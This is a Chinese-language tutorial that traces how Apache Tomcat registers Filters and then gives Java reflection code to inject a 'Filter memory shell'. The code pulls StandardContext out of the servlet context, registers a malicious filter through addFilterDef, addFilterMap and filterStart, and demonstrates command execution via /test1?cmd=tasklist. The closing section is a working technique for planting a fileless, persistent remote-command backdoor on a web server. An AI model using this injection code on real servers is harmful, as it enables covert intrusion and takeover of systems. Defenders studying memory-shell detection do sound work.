javaweb服务请求会先触发Filter,然后再到达Servlet
过程分析
这里自行创建了一个Filter拦截器,然后设置断点进行Debuge,查看程序运行情况。
如果想要创建Filter内存马,那么就需要将Filter像之前的Servlet一样加载到tomcat服务中。
这里通过查看程序的运行逻辑来研究Filter是怎么被加载到tomcat服务中的。
这里我们设置的拦截器为拦截全部路径/*
,当请求带有cmd参数且不为空时就会执行命令,如果为空就执行super.doFilter(req, res, chain)
,这里设置断点并启动运行程序,由于设置的是全路径拦截,在程序启动的时候并没有参数,因此会执行super.doFilter(req, res, chain)
然后按F7进行步进程序,在步进程序的时候发现执行了三个不同doFilter()方法后进入了internalDoFilter()方法中。
可以看到我们断点处前面也有一个internalDoFilter()被调用。这里先看断点前面internalDoFilter()方法被调用时的相关对象的值。
查看此处是因为前面doFilter()这个方法中调用了internalDoFilter()方法,而此时的filterConfig对象中都是自己设置的Filter的相关值。
再将程序运行到第二次执行internalDoFilter()方法处
可以看到程序中的filterConfig对象中的相关值都变成了tomcat服务默认自带的Filter配置。
通过研究发现internalDoFilter()方法中的filters数组中包含了全部的Filter
通过对这个internalDoFilter()进行学习和研究可以发现,internalDoFilter
方法实现了对请求的逐层过滤和处理。它通过ApplicationFilterConfig filterConfig = filters[pos++]
这个行代码依次来获取并调用Filter。
那么如果想要注入Filter内存马的话就需要研究在服务初始化的时候,Filter是怎么被添加到filters数组中的。
filters数组的创建是在ApplicationFilterChain.java类中,通过private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
来进行创建的。
知道数组的创建,我们可以通过在数组创建处Ctrl+鼠标左键来查看数组的修改,我们需要知道数组是何时添加的Filter。
可以看到filters的赋值操作,点击跳转。发现是ApplicationFilterChain.java类中的addFilter()方法来对filters数组进行赋值操作的。
既然知道是addFilter()方法对filters数组进行赋值操作的,那么需要时谁调用了addFilter()方法。
可以看到是ApplicationFilterFactory.java类中filterChain调用了addFilter()方法。
跳转进行跟进,发现filterChain是ApplicationFilterFactory.java类中的createFilterChain()方法在开始的时候创建的ApplicationFilterChain filterChain;类型的变量。
ApplicationFilterFactory.java类中的createFilterChain()方法最后会返回一个filterChain。接下来需要知道谁调用了ApplicationFilterFactory.java类中的createFilterChain()这个方法,并获取到了添加过Filter的filterChain。创建了filterChain就完成了一路的链式调用。
但是调用ApplicationFilterFactory.java类中的createFilterChain()方法把Filter添加到filterChain中有一个条件,就是filterConfig 不能为空,filterConfig是通过ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName())
这里就涉及了context.findFilterConfig(),context为StandardContext实例化对象。filterMap也是从FilterMap[] filterMaps = context.findFilterMaps()
这里面filterMaps中获取这里也涉及了context为StandardContext实例化对象。这里分别查看
findFilterMaps()方法返回了一个filterMaps.asArray()数组对象,向filterMaps添加值的方法是StandardContext.java类中的addFilterMap(FilterMap filterMap)方法。
findFilterConfig()这个方法中return filterConfigs.get(name)
返回了与指定 name 相关联的 FilterConfig 对象。其中filterconfigs中相关对象的获取是通过StandardContext.java类中的filterStart()方法来获取。其中filterStart()方法中是通过filterDefs中的filterDef将值传递给filterConfigs的,而filterDefs中的值的获取是靠StandardContext.java类中的addFilterDef(FilterDef filterDef)方法来获取的。
总上所述,需要将自己写的filter添加到filterMaps中和filterConfigs,添加到filterConfigs中需要先把filter添加到filterDefs中,然后调用filterStar()方法把filterDefs对应的值传递给filterConfigs。
添加至filterMaps需要StandardContext.java类的addFilterMap(FilterMap filterMap)方法
添加至filterDefs需要StandardContext.java类中addFilterDef(FilterDef filterDef)方法
然后调用StandardContext.java类中filterStar()方法
利用反射构造Filter内存马
利用反射获取StandardContext对象,获取方式参考Servlet内存马。
//通过反射获取StandardContext
ServletContext servletContext = request.getServletContext();
//通过servletContext拿到applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
//设置可访问权限
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
//通过applicationContext拿到StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
实例化恶意类对象
FilterMemshell filter = new FilterMemshell();
创建FilterDef对象
FilterDef def = new FilterDef();
def.setFilterName("shell-filter");
def.setFilter(filter);
def.setFilterClass(filter.getClass().getName());
创建FilterMap对象
FilterMap map = new FilterMap();
map.setFilterName("shell-filter");
map.addURLPattern("/test1");
通过StandardContext调用相关函数
standardContext.addFilterDef(def);
standardContext.addFilterMap(map);
standardContext.filterStart();
这时候将写好的jsp文件放在服务器上访问的时候就会注入Filter内存马,这里Filter内存马的拦截的路径为test1,当请求这个路径时并且cmd还有命令参数时就会执行命令。
这里启动服务
先访问Fshell.jsp,然后访问/test1?cmd=tasklist来执行命令